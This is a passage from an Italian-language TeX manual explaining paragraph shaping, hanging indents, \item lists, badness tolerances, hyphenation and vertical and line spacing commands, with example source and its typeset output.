Questo \`e un altro paragrafo normale allineato a sinistra e a destra.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla.
```

Questo è un paragrafo normale allineato a sinistra e a destra, ma non tutti gli autori gradiscono questo sistema di impaginazione orizzontale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

In questo paragrafo, invece, l'allineamento del testo al margine destro, non ha luogo. Purtroppo, non c'è una parola di controllo opposta per ripristinare l'allineamento normale, pertanto, occorre racchiudere l'istruzione in un raggruppamento. Si osservi che il paragrafo viene concluso prima della fine del raggruppamento. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Questo è un altro paragrafo normale allineato a sinistra e a destra. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

61.12.1 Spaziatura orizzontale automatica e separazione automatica dei paragrafi in righe

TeX utilizza una regola tipografica del passato, ormai condannata generalmente, secondo cui è necessario aumentare lo spazio che divide la fine di un periodo dall'inizio del successivo. Si pone rimedio a questa anomalia utilizzando l'istruzione '**`\frenchspacing`**'. Si osservi l'esempio seguente, il cui risultato di composizione viene ingrandito per permettere di scorgere meglio la differenza nella spaziatura orizzontale alla fine del primo periodo:

```
Prima frase. Seconda frase. \par
\frenchspacing
Prima frase. Seconda frase. \par
```

Prima frase. Seconda frase.

Prima frase. Seconda frase.

È bene sottolineare che '**`\frenchspacing`**' interviene a livello di paragrafi dal punto in cui viene utilizzato. Se successivamente si desidera ripristinare la spaziatura orizzontale «normale» per TeX, basta usare l'istruzione '**`\nonfrenchspacing`**'.

TeX impagina automaticamente i paragrafi, dividendo le righe dove ritiene più corretto, in base ai suoi calcoli, considerando le interruzioni di riga nel sorgente come equivalenti a uno spazio orizzontale, suddividendo eventualmente le parole in sillabe (come viene spiegato meglio in una sezione successiva). Tuttavia, ci sono spazi che fanno parte di un nome o che comunque si vuole evitare siano utilizzati per dividere in quel punto il testo. Per evitarlo si può inserire la tilde ('**`~`**') che rappresenta uno spazio non interrompibile. L'esempio seguente mostra il caso in cui si vuole evitare di separare il titolo da un nome:

```
Ing.~Bianchi
```

Quando non si usa la spaziatura orizzontale uniforme che si otterrebbe con '**`\frenchspacing`**', l'inserzione di questi spazi non interrompibili evita anche l'allargamento dello spazio quando, in situazioni come quella dell'esempio, sarebbe inopportuno. In alternativa, sempre allo scopo di ottenere uno spazio di ampiezza normale dopo un punto che non conclude una frase, si può usare il simbolo di controllo '**`\`**<*SP*>' (barra obliqua inversa, spazio).

61.12.2 Rientri particolari

Attraverso due variabili, a cui si accede per mezzo delle parole di controllo '**`\hangindent`**' e '**`\hangafter`**', è possibile organizzare un paragrafo in modo che una parte iniziale o finale delle righe che lo compongono sia rientrata rispetto al margine sinistro, oppure rispetto al margine destro.

Un valore positivo, esprimente una lunghezza, contenuto nella variabile controllata dalla parola di controllo '**`\hangindent`**', indica un rientro verso destra della stessa lunghezza rispetto al margine sinistro; al contrario, un valore negativo indica un rientro verso sinistra dal margine destro. Un valore positivo, esprimente una quantità di righe, contenuto nella variabile controllata dalla parola di controllo '**`\hangafter`**', indica dopo quante righe far intervenire il rientro dichiarato con '**`\hangafter`**'; invece, un valore negativo indica per quante righe iniziali deve valere il rientro. Si osservi l'esempio seguente:

```
\hangindent=5cm
\hangafter=2
Paragrafo in cui, dopo le prime due righe, si passa a un rientro
sinistro di cinque centimetri. Bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.

\hangindent=-5cm
\hangafter=-2
Paragrafo in cui le prime due righe hanno un rientro destro di cinque
centimetri. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla.
```

La composizione che si ottiene potrebbe contenere degli errori estetici e degli errori nella separazione in sillabe delle parole. Questi problemi vengono trattati in seguito:

Paragrafo in cui, dopo le prime due righe, si passa a un rientro sinistro di cinque centimetri. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Paragrafo in cui le prime due righe hanno un rientro destro di cinque centimetri. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Dall'esempio non si vede, per cui è bene sottolineare che le parole di controllo '**`\hangindent`**' e '**`\hangafter`**' hanno effetto esclusivamente nel paragrafo in cui vengono utilizzate.

Un modo più complesso di definire un paragrafo è disponibile attraverso la parola di controllo '**`\parshape`**', da utilizzare secondo la sintassi seguente:

`\parshape` ***n_righe rientro_1 lunghezza_1*** [***rientro_2 lunghezza_2***]...

In pratica, '**`\parshape`**' permette di descrivere il rientro sinistro e la lunghezza delle prime ***n*** righe; in base alla quantità di righe indicate, altrettante devono essere le coppie delle indicazioni sulla lunghezza del rientro e sulla lunghezza della riga relativa. Si osservi l'esempio seguente:

```
\parshape 3 2cm 5cm 4cm 6cm 6cm 7cm
Paragrafo in cui, la prima riga \'e rientrata di due centimetri dal
margine sinistro ed \'e lunga cinque centimetri, la seconda riga \'e
rientrata di quattro centimetri ed \'e lunga sei centimetri, la terza
riga \'e rientrata di sei centimetri ed \'e lunga sette centimetri. Le
righe successive sono impaginate come la terza riga.

Paragrafo normale. Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
```

Paragrafo in cui, la prima riga è rientrata di due centimetri dal margine sinistro ed è lunga cinque centimetri, la seconda riga è rientrata di quattro centimetri ed è lunga sei centimetri, la terza riga è rientrata di sei centimetri ed è lunga sette centimetri. Le righe successive sono impaginate come la terza riga.

Paragrafo normale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

È importante osservare che la prima riga risulta avere un rientro maggiore, pari al valore restituito da '**`\parindent`**'. Si osservi lo stesso esempio, con l'eliminazione del rientro normale dei paragrafi:

```
\noindent
```

```
\parshape 3 2cm 5cm 4cm 6cm 6cm 7cm
Paragrafo in cui, la prima riga \`e rientrata di due centimetri dal
margine sinistro ed \`e lunga cinque centimetri, la seconda riga \`e
rientrata di quattro centimetri ed \`e lunga sei centimetri, la terza
riga \`e rientrata di sei centimetri ed \`e lunga sette centimetri. Le
righe successive sono impaginate come la terza riga.

Paragrafo normale. Bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
```

Paragrafo in cui, la prima riga è
rientrata di due centimetri dal margine
sinistro ed è lunga cinque centimetri, la seconda riga è rientrata di quattro centimetri ed è lunga sei centimetri, la terza riga è rientrata di sei centimetri ed è lunga sette centimetri. Le righe successive sono impaginate come la terza riga.

Paragrafo normale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

61.12.3 Paragrafi etichettati

La macro standard '**`\item`**' consente di porre all'inizio di un paragrafo un'etichetta, cosa che si fa normalmente per realizzare degli elenchi:

```
\item{etichetta}
```

Il paragrafo che si ottiene ha una struttura particolare: L'etichetta viene inserita in modo che termini subito prima della posizione del rientro della prima riga, ovvero subito prima di '**`\hoffset`**'+'**`\leftskip`**'+'**`\parindent`**'; il testo successivo inizia dal rientro e nelle righe successive mantiene quel rientro iniziale. La parola di controllo '**`\noindent`**' non ha effetto.

Esiste anche un'altra parola di controllo simile, che ha lo scopo di generare un paragrafo dello stesso genere, rientrato del doppio del valore restituito da '**`\parindent`**'. Si tratta di '**`\itemitem`**', il cui utilizzo è quindi conveniente solo quando si usa normalmente il rientro della prima riga, altrimenti l'effetto generato è lo stesso di '**`\item`**'. Si osservino i due esempi seguenti che differiscono per la presenza o meno del rientro della prima riga.

```
Questo \`e un paragrafo normale che introduce un elenco, bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla:
\item{1)} questa \`e la prima voce dell'elenco;
\item{2)} questa \`e la seconda voce dell'elenco, che contiene molte
informazioni, bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla;
\item{3)} questa \`e la terza voce dell'elenco che si articola in voci
di livello inferiore:
```

```
\itemitem{a)} questa \'e la prima sotto-voce del terzo punto;
\itemitem{b)} questa \'e la seconda sotto-voce del terzo punto;
\item{4)} questo \'e la quarta e ultima voce dell'elenco principale.
```

Questo è un paragrafo normale che introduce un elenco, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla:

1) questa è la prima voce dell'elenco;
2) questa è la seconda voce dell'elenco, che contiene molte informazioni, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla;
3) questa è la terza voce dell'elenco che si articola in voci di livello inferiore:
    a) questa è la prima sotto-voce del terzo punto;
    b) questa è la seconda sotto-voce del terzo punto;
4) questo è la quarta e ultima voce dell'elenco principale.

Come si può vedere, le macro-istruzioni '**\item**' e '**\itemitem**' introducono un paragrafo nuovo, indipendentemente dal fatto che siano o meno separate dal testo precedente. Nell'esempio seguente si mostra cosa accade se si elimina il rientro della prima riga dei paragrafi:

```
\parindent=0pt
Questo \'e un paragrafo normale che introduce un elenco, bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla:
\item{1)} questa \'e la prima voce dell'elenco;
\item{2)} questa \'e la seconda voce dell'elenco, che contiene molte
informazioni, bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla;
\item{3)} questa \'e la terza voce dell'elenco che si articola in voci
di livello inferiore:
\itemitem{a)} questa \'e la prima sotto-voce del terzo punto;
\itemitem{b)} questa \'e la seconda sotto-voce del terzo punto;
\item{4)} questo \'e la quarta e ultima voce dell'elenco principale.
```

Questo è un paragrafo normale che introduce un elenco, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla:

1) questa è la prima voce dell'elenco;
2) questa è la seconda voce dell'elenco, che contiene molte informazioni, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla;
3) questa è la terza voce dell'elenco che si articola in voci di livello inferiore:
a) questa è la prima sotto-voce del terzo punto;
b) questa è la seconda sotto-voce del terzo punto;
4) questo è la quarta e ultima voce dell'elenco principale.

Volendo approfondire un po' di più l'uso di queste macro-istruzioni, si può osservare che '**\item**' assegna a '**\hangindent**' il valore di '**\parindent**'; inoltre assegna a '**\hangafter**' il valore uno. Al termine, tutto viene ripristinato, in modo da non coinvolgere il paragrafo successivo. Nello stesso modo interviene '**\itemitem**', assegnando però a '**\hangindent**' il doppio di '**\parindent**'.

61.12.4 Attuazione dei comandi riferiti ai paragrafi

Le istruzioni che definiscono l'aspetto del paragrafo, vengono prese in considerazione quando il paragrafo è stato analizzato completamente; pertanto, se in un paragrafo si modifica più volte un certo valore che ne controlla la forma, solo l'ultimo valore disponibile è quello che viene preso in considerazione. Si osservi l'esempio seguente:

```
\baselineskip=5cm
Questo paragrafo viene composto con una distanza tra la base delle righe
di 14 punti. Provare per credere. Bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla.
\baselineskip=14pt
```

Questo paragrafo viene composto con una distanza tra la base delle righe di 14 punti. Provare per credere. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

In pratica, all'inizio viene dichiarata una distanza di 5 cm, mentre alla fine, prima che sia concluso definitivamente il paragrafo, si dichiara nuovamente una distanza di soli 14 punti. L'ultima istruzione che modifica il valore, rimanendo nell'ambito del paragrafo, è quella che viene presa in considerazione.

Il problema può sembrare di poco conto; tuttavia, quando si usano i raggruppamenti per evitare di estendere l'effetto di un comando particolare anche ai paragrafi successivi, le cose si complicano un po'. Si osservi l'esempio seguente:

```
{\baselineskip=5cm Questo paragrafo che dovrebbe avere una distanza tra
la base delle righe di ben cinque centimetri, ma qualcosa non funziona
come si vorrebbe. Bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.}
```

Questo paragrafo che dovrebbe avere una distanza tra la base delle righe di ben cinque centimetri, ma qualcosa non funziona come si vorrebbe. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Il raggruppamento limita l'effetto della modifica dello spazio tra le righe, controllato da '**`\baselineskip`**', all'interno del paragrafo. Tuttavia, il paragrafo finisce dopo la parentesi graffa di chiusura, ovvero quando viene ripristinato il valore precedente per la distanza tra le righe. Per risolvere il problema occorre concludere il paragrafo **prima** della parentesi graffa finale:

```
{\baselineskip=0.5cm Questo paragrafo ha effettivamente una distanza tra
la base delle righe di mezzo centimetro, perch\'e prima della parentesi
graffa finale si conclude esplicitamente il paragrafo.\par}
```

Questo paragrafo ha effettivamente una distanza tra la base delle righe di mezzo centimetro, perché prima della parentesi graffa finale si conclude esplicitamente il paragrafo.

61.12.5 Tolleranza estetica

Quando la composizione che si genera non può rispettare gli spazi e le elasticità fissati, TeX calcola un indicatore, definibile come penalità estetica, per rappresentare la «bruttezza» del risultato che si ottiene. Per la precisione, si distinguono due casi: la necessità di introdurre una quantità di spazio eccessiva, tra le parole o tra le righe, oppure la necessità di andare leggermente oltre il margine.

Quando si superano le tolleranze orizzontali stabilite, si ottiene nella composizione finale un segno evidente sul margine destro, corrispondente a un rettangolino nero.

La parola di controllo '**\hbadness**' permette di definire il livello consentito per l'espansione delle righe. Il valore predefinito è 1000 e rappresenta un livello qualitativo molto buono. Elevando questo valore, si ottengono meno segnalazioni; si può arrivare fino a un massimo di 10000, con cui si esclude qualunque segnalazione di cattiva qualità estetica dovuta a un allargamento eccessivo delle righe.

Una riga può eccedere il limite del margine destro per una lunghezza massima pari al valore che si ottiene dalla parola di controllo '**\hfuzz**'. Se anche questo limite viene superato, si crea un altro tipo di problema estetico, controllato dalla parola di controllo '**\tolerance**'. Anche in questo caso, se si assegna alla tolleranza in eccesso un valore pari a 10000, si annullano tutte le segnalazioni di errore.

La qualità verticale è controllata dal valore contenuto in '**\vbadness**' e nello stesso modo esiste la possibilità di eccedere l'altezza del testo del valore di '**\vfuzz**'.

```
hbadness = \the\hbadness \par
hfuzz = \the\hfuzz \par
vbadness = \the\vbadness \par
vfuzz = \the\vfuzz \par
tolerance = \the\tolerance \par
```

hbadness = 1000
hfuzz = 0.1pt
tolerance = 200
vbadness = 1000
vfuzz = 0.1pt

L'esempio precedente consente di verificare i valori predefiniti abbinati alla tolleranza estetica del testo, nella sua distribuzione orizzontale e verticale. Le istruzioni che seguono, consentono di annullare tutte le segnalazioni di carenze estetiche, consentendo però di generare un risultato pessimo:

```
\hbadness=10000
\vbadness=10000
\tolerance=10000
```

In alternativa, si possono lasciare invariati i valori di tolleranza estetica, eliminando semplicemente l'indicazione del problema nella composizione finale. L'inserimento del rettangolo nero è controllato dalla parola di controllo '**\overfullrule**', a cui si assegna la grandezza della linea con cui rappresentare questo rettangolo. Indicando un valore nullo, si elimina tutto questo:

```
\overfullrule=0pt
```

È utile sapere interpretare i messaggi di avvertimento che vengono generati da TeX durante la composizione di testo con carenze estetiche. La tabella 61.161 riepiloga le varie situazioni.

Tabella 61.161. Messaggi di errore riferiti a carenze estetiche.

Tipo di messaggio	Significato
'**Underfull \hbox**'	La spaziatura orizzontale è eccessiva.
'**Overfull \hbox**'	Lo spazio orizzontale a disposizione è stato superato.
'**Underfull \vbox**'	La spaziatura verticale è eccessiva.
'**Overfull \vbox**'	Lo spazio verticale a disposizione è stato superato.
'**badness *n***'	Livello di carenza estetica: 10000 è il massimo a essere annotato.

61.12.6 Sillabazione

In condizioni normali, TeX gestisce la separazione in sillabe per la lingua inglese. Eventualmente, è possibile indicare delle eccezioni attraverso l'uso della parola di controllo '**\hyphenation**':

```
\hyphenation{parola_suddivisa...}
```

Per esempio, per annotare la suddivisione di «cartellone» e «manuale», si può indicare l'istruzione seguente:

```
\hyphenation{car-tel-lo-ne ma-nu-a-le}
```

È possibile anche usare una separazione facoltativa attraverso il simbolo di controllo '**\-**' all'interno di una parola in una posizione precisa. Tuttavia, l'uso di queste istruzioni, annulla la possibilità di formarsi un legato. Per esempio, scrivendo '**dif\-fi\-ci\-le**' si impedisce la formazione del legato tra la coppia di lettere «f».

La frequenza della separazione delle parole alla fine delle righe può essere regolata tramite il valore attribuito a una variabile, cui si accede attraverso la parola di controllo '**\pretolerance**': Valori bassi producono una separazione frequente, mentre valori elevati riducono l'uso della suddivisione delle parole. In particolare, se si assegna il valore 10000, non avviene alcuna separazione in sillabe.

```
\pretolerance=n
```

Il valore predefinito di '**\pretolerance**' è 100.

È importante sottolineare che '**\pretolerance**' interviene a livello di paragrafo, per cui non è possibile isolare un gruppo all'interno di un paragrafo, perché queste modifiche non avrebbero effetto.

Nella sezione 61.1 è descritto brevemente come abilitare la separazione delle parole in sillabe per una lingua differente. Supponendo che la sillabazione italiana sia abbinata al numero 1, è sufficiente iniziare il proprio documento con l'istruzione seguente:

```
\language 1
```

61.12.7 Spaziature verticali

È già stato descritto il significato delle parole di controllo '**\baselineskip**' e '**\parskip**'. Entrambe le variabili a cui fanno riferimento queste parole di controllo possono contenere una lunghezza elastica, anche se normalmente '**\baselineskip**' non prevede tolleranze.

Oltre allo spazio verticale tra i paragrafi, controllato dal valore restituito dalla parola di controllo '**\parskip**', si possono inserire degli spazi aggiuntivi[8] attraverso due parole di controllo alternative, '**\vskip**' e '**\vglue**':

```
\vskip lunghezza_elastica
```

```
\vglue lunghezza_elastica
```

Il secondo tra i due tipi di inserimento, corrispondente alla parola di controllo '**\vglue**', è il più semplice, perché inserisce lo spazio verticale in modo incondizionato: se non c'è lo spazio sufficiente nella pagina in cui appare, viene messo integralmente all'inizio della pagina successiva. Invece, nel caso di '**\vskip**', lo spazio viene inserito effettivamente solo se c'è lo spazio sufficiente nella pagina in cui appare, provocando un salto pagina se questo spazio manca, ma in tal caso non viene più inserito all'inizio della pagina successiva.

È importante osservare che in entrambe le situazioni, se lo spazio alla fine della pagina non basta, si provoca un salto pagina. Se è attiva la modalità di allineamento verticale del testo, corrispondente alla parola di controllo '**\normalbottom**', ciò significa che il testo precedente viene allungato per completare la pagina, così come avviene quando si inserisce la parola di controllo '**\eject**'.

A titolo informativo, vale la pena di vedere in che modo si possa ottenere l'inserimento di uno spazio incondizionato, come fa '**\vglue**', ma utilizzando solo '**\vskip**':

```
\null\par
\vskip …
```

In pratica, l'istruzione '**\null**' serve a iniziare un paragrafo (passando così in modalità orizzontale). Il paragrafo deve essere terminato, quindi si può inserire '**\vskip**' con l'indicazione dello spazio da saltare. L'istruzione '**\null**' corrisponde a un carattere nullo, come un gruppo vuoto, che però permette di iniziare un paragrafo (viene descritta in seguito).

È già stato fatto osservare che il valore predefinito che si ottiene dall'espansione di '**\parskip**' è '**0pt plus 1pt**'. Volendo mantenere la coerenza con la spaziatura tra i paragrafi, quando si usano le parole di controllo '**\vskip**' e '**\vglue**', conviene mantenere la stessa elasticità in espansione, con l'aggiunta eventuale di un'elasticità equivalente in contrazione:

```
\vskip lunghezza plus 1pt minus 1pt
```

```
\vglue lunghezza plus 1pt minus 1pt
```

In effetti, TeX offre già delle parole di controllo che si traducono in salti standardizzati. Si tratta di '**\smallskipamount**', '**\medskipamount**' e '**\bigskipamount**'. Si può sperimentare facilmente a cosa corrispondono:

```
smallskipamount = \the\smallskipamount \par
medskipamount = \the\medskipamount \par
bigskipamount = \the\bigskipamount \par
```

smallskipamount = 3.0pt plus 1.0pt minus 1.0pt
medskipamount = 6.0pt plus 2.0pt minus 2.0pt
bigskipamount = 12.0pt plus 4.0pt minus 4.0pt

Queste parole di controllo sono fatte per essere sostituite agli argomenti delle istruzioni che provocano un avanzamento verticale. Per esempio,

```
\vskip\smallskipamount
```

provoca quello che viene considerato convenzionalmente un piccolo avanzamento verticale.

Per semplificare ulteriormente la gestione dei salti verticali, con la parola di controllo '**\vskip**', sono disponibili delle macro che richiamano direttamente l'entità dello spazio da inserire. Si tratta di '**\smallskip**', '**\medskip**' e '**\bigskip**', corrispondenti in pratica a '**\vskip\smallskipamount**', '**\vskip\medskipamount**' e '**\vskip\bigskipamount**'.

Quando si vuole indicare uno salto verticale di lunghezza indefinita, si utilizzano le parole di controllo '**\vfil**' e '**\vfill**'. Entrambe generano un salto dal punto in cui si trovano, fino alla fine della pagina, qualsiasi sia la distanza, ma se la parola di controllo appare più volte, lo spazio necessario viene distribuito equamente. Si osservi l'esempio seguente in cui si simula una pagina di piccole dimensioni:

```
\hsize=4cm
\vsize=7cm
Questa \`e una pagina fittizia in cui il testo ha a disposizione solo
quattro per sette centimetri. \par
\vfil
I paragrafi sono spaziati verticalmente in modo da riempire la pagina.
\par
\vfil
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla. \par
\vfil
Fine della pagina. \par
\eject
```

Questa è una pagina fittizia in cui il testo ha a disposizione solo quattro per sette centimetri.

I paragrafi sono spaziati verticalmente in modo da riempire la pagina.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Fine della pagina.

La stessa cosa si potrebbe ottenere sostituendo le parole di controllo '**`\vfil`**' con '**`\vfill`**':

```
\hsize=4cm
\vsize=7cm
Questa \`e una pagina fittizia in cui il testo ha a disposizione solo
quattro per sette centimetri. \par
\vfill
I paragrafi sono spaziati verticalmente in modo da riempire la pagina.
\par
\vfill
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla. \par
\vfill
Fine della pagina. \par
\eject
```

Tuttavia, '**`\vfill`**' è più elastico rispetto a '**`\vfil`**'. Si osservi cosa accade se si inserisce un solo '**`\vfill`**' tra altri '**`\vfil`**':

```
\hsize=4cm
\vsize=7cm
Questa \`e una pagina fittizia in cui il testo ha a disposizione solo
quattro per sette centimetri. \par
\vfil
I paragrafi sono spaziati verticalmente in modo da riempire la pagina.
\par
\vfill
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla. \par
\vfil
Fine della pagina. \par
\eject
```

Questa è una pagina fittizia in cui il testo ha a disposizione solo quattro per sette centimetri.

I paragrafi sono spaziati verticalmente in modo da riempire la pagina.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Fine della pagina.

Esiste un altro tipo di spazio verticale elastico, controllato dalla parola di controllo '**`\vss`**'. Si ottiene un risultato molto simile a '**`\vfil`**', con la differenza che in questo caso viene intesa esplicitamente anche un'elasticità in contrazione di livello equivalente.

Le parole di controllo '**`\vfil[l]`**' e '**`\vss`**' corrispondono in pratica alle definizioni seguenti:

```
\vfil | \vskip 0pt plus 1fil
\vfill | \vskip 0pt plus 1fill
\vss | \vskip 0pt plus 1fil minus 1fil
```

61.13 Righe

Il testo di una riga viene generato posando le lettere su una linea invisibile che corrisponde alla base della stessa. Nella sezione 57.2 è affrontato in generale l'argomento relativo alle dimensioni di un carattere. Per quanto riguarda TeX le cose si semplificano come si vede nella figura 61.173.

Figura 61.173. Le dimensioni del carattere secondo TeX.

Le righe di un paragrafo sono distanziate, da una basa alla successiva, della distanza fissata con '**`\baselineskip`**'. Ma questo non può impedire che si formino degli accavallamenti, soprattutto se si ingrandisce il corpo del carattere. Pertanto, entra in gioco il valore contenuto nella variabile '**`\lineskiplimit`**' che rappresenta l'interlinea minima, ovvero lo spazio minimo tra la profondità massima della riga precedente e l'altezza massima della riga successiva. Se si supera questo valore, viene inserita un'interlinea pari alla lunghezza contenuta nella variabile '**`\lineskip`**'. Si osservi l'esempio seguente in cui a un certo punto viene cambiato il corpo del carattere, per dimostrare l'adattamento che si ottiene nella distanza tra le righe:

```
\font\prova=cmss17 scaled 2000

Questo \`e un paragrafo di prova in cui, a un certo punto, si usa un
carattere pi\`u grande del solito, provocando un aumento automatico
della distanza tra le righe, {\prova per evi\-ta\-re accavallamenti}.
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla. \par
```

Questo è un paragrafo di prova in cui, a un certo punto, si usa un carattere più grande del solito, provocando un aumento automatico della distanza tra le righe, per evi-tare accavallamenti. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

È possibile sollevare o abbassare una parte del testo, attraverso le istruzioni '**`\raise`**' e '**`\lower`**'. Queste devono essere seguite da una «scatola», contenente ciò che si vuole sollevare o abbassare rispetto alla base della riga in cui ci si trova. Il concetto di scatola viene spiegato nella sezione 61.14.

`\raise` ***altezza scatola***

`\lower` ***altezza scatola***

L'esempio seguente mostra due situazioni, in cui si sposta una parte del testo in alto e in basso rispetto alla base normale delle righe:

```
Nel testo c'\`e una parte leggermente sollevata di
\raise 5pt \hbox{cinque punti} e un'altra parte
leggermente abbassata di \lower 3pt \hbox{tre punti} tipografici.
```

Nel testo c'è una parte leggermente sollevata di cinque punti e un'altra parte leggermente abbassata di tre punti tipografici.

Quando una riga singola ha una sua propria autonomia nel testo che si vuole scrivere, si possono utilizzare una serie di parole di controllo per gestirne la collocazione e l'aspetto.

La prima cosa da analizzare è la possibilità di interrompere il flusso normale di un paragrafo, imponendo di iniziare una riga nuova. Ciò si ottiene con la parola di controllo '**`\break`**':

```
Questo \`e un paragrafo normale, contenente alcune informazioni, bla
bla bla bla bla bla bla bla bla bla bla bla,\break ma questa riga deve
apparire sempre da sola, pur senza dover iniziare un paragrafo nuovo.
```

Questo è un paragrafo normale, contenente alcune informazioni, bla bla bla bla bla bla bla bla bla bla bla bla,
ma questa riga deve apparire sempre da sola, pur senza dover iniziare un paragrafo nuovo.

L'esempio mostra proprio una situazione di questo tipo, dove si può osservare che il testo della riga incompleta viene allungato per raggiungere il margine destro. Per evitare che succeda questo, si utilizza uno spazio orizzontale allungabile, che può essere ottenuto a scelta da tre parole di controllo: '**\hfil**', '**\hfill**' e '**\hfilll**'. Così come avviene negli spazi verticali, la prima di queste parole di controllo ha un'elasticità minore rispetto alle altre, così come la seconda ha un'elasticità maggiore della prima e minore della terza. Generalmente, si usa '**\hfill**' prima di '**\break**', come si vede dall'esempio seguente:

```
Questo \'e un paragrafo normale, contenente alcune informazioni, bla bla
bla bla bla bla bla bla bla bla bla bla,\hfill\break ma questa riga deve
apparire sempre da sola, pur senza dover iniziare un paragrafo nuovo.
```

Questo è un paragrafo normale, contenente alcune informazioni, bla bla bla bla bla bla
bla bla bla bla bla bla,
ma questa riga deve apparire sempre da sola, pur senza dover iniziare un paragrafo nuovo.

Quando si vuole controllare una riga completamente autonoma, si possono usare le macro-istruzioni '**\leftline**', '**\rightline**', '**\centerline**' e '**\line**'. La prima allinea a sinistra il testo, la seconda lo allinea a destra, la terza lo allinea al centro, l'ultima lo stira in modo da allinearlo simultaneamente a sinistra e a destra. Si osservi l'esempio:

```
\leftline{Questa riga \'e allineata a sinistra.}
\centerline{Questa riga \'e allineata al centro.}
\rightline{Questa riga \'e allineata a destra.}
\line{Questa riga \'e allineata a sinistra e a destra.}
```

Questa riga è allineata a sinistra.
Questa riga è allineata al centro.
Questa riga è allineata a destra.
Questa riga è allineata a sinistra e a destra.

Si potrebbe essere portati a pensare che la macro-istruzione '**\line**' serva a poco, perché l'effetto che si ottiene è abbastanza sgradevole. In realtà, la possibilità di inserire degli spazi orizzontali allungabili consente di creare degli effetti molto utili. Si osservi l'esempio seguente in cui si fa uso di '**\hfil**' per separare degli allineamenti indipendenti:

```
\line{Sinistra \hfil Centro \hfil Destra}
```

Sinistra Centro Destra

In particolare, '**\headline**' e '**\footline**' funzionano nello stesso modo, perché sono controllate in pratica dalla parola di controllo '**\line**'.

Si osservi che la definizione delle macro-istruzioni '**\[left|center|right]line**' isola il testo in un raggruppamento, come se fosse racchiuso tra parentesi graffe.

61.13.1 Spazi orizzontali

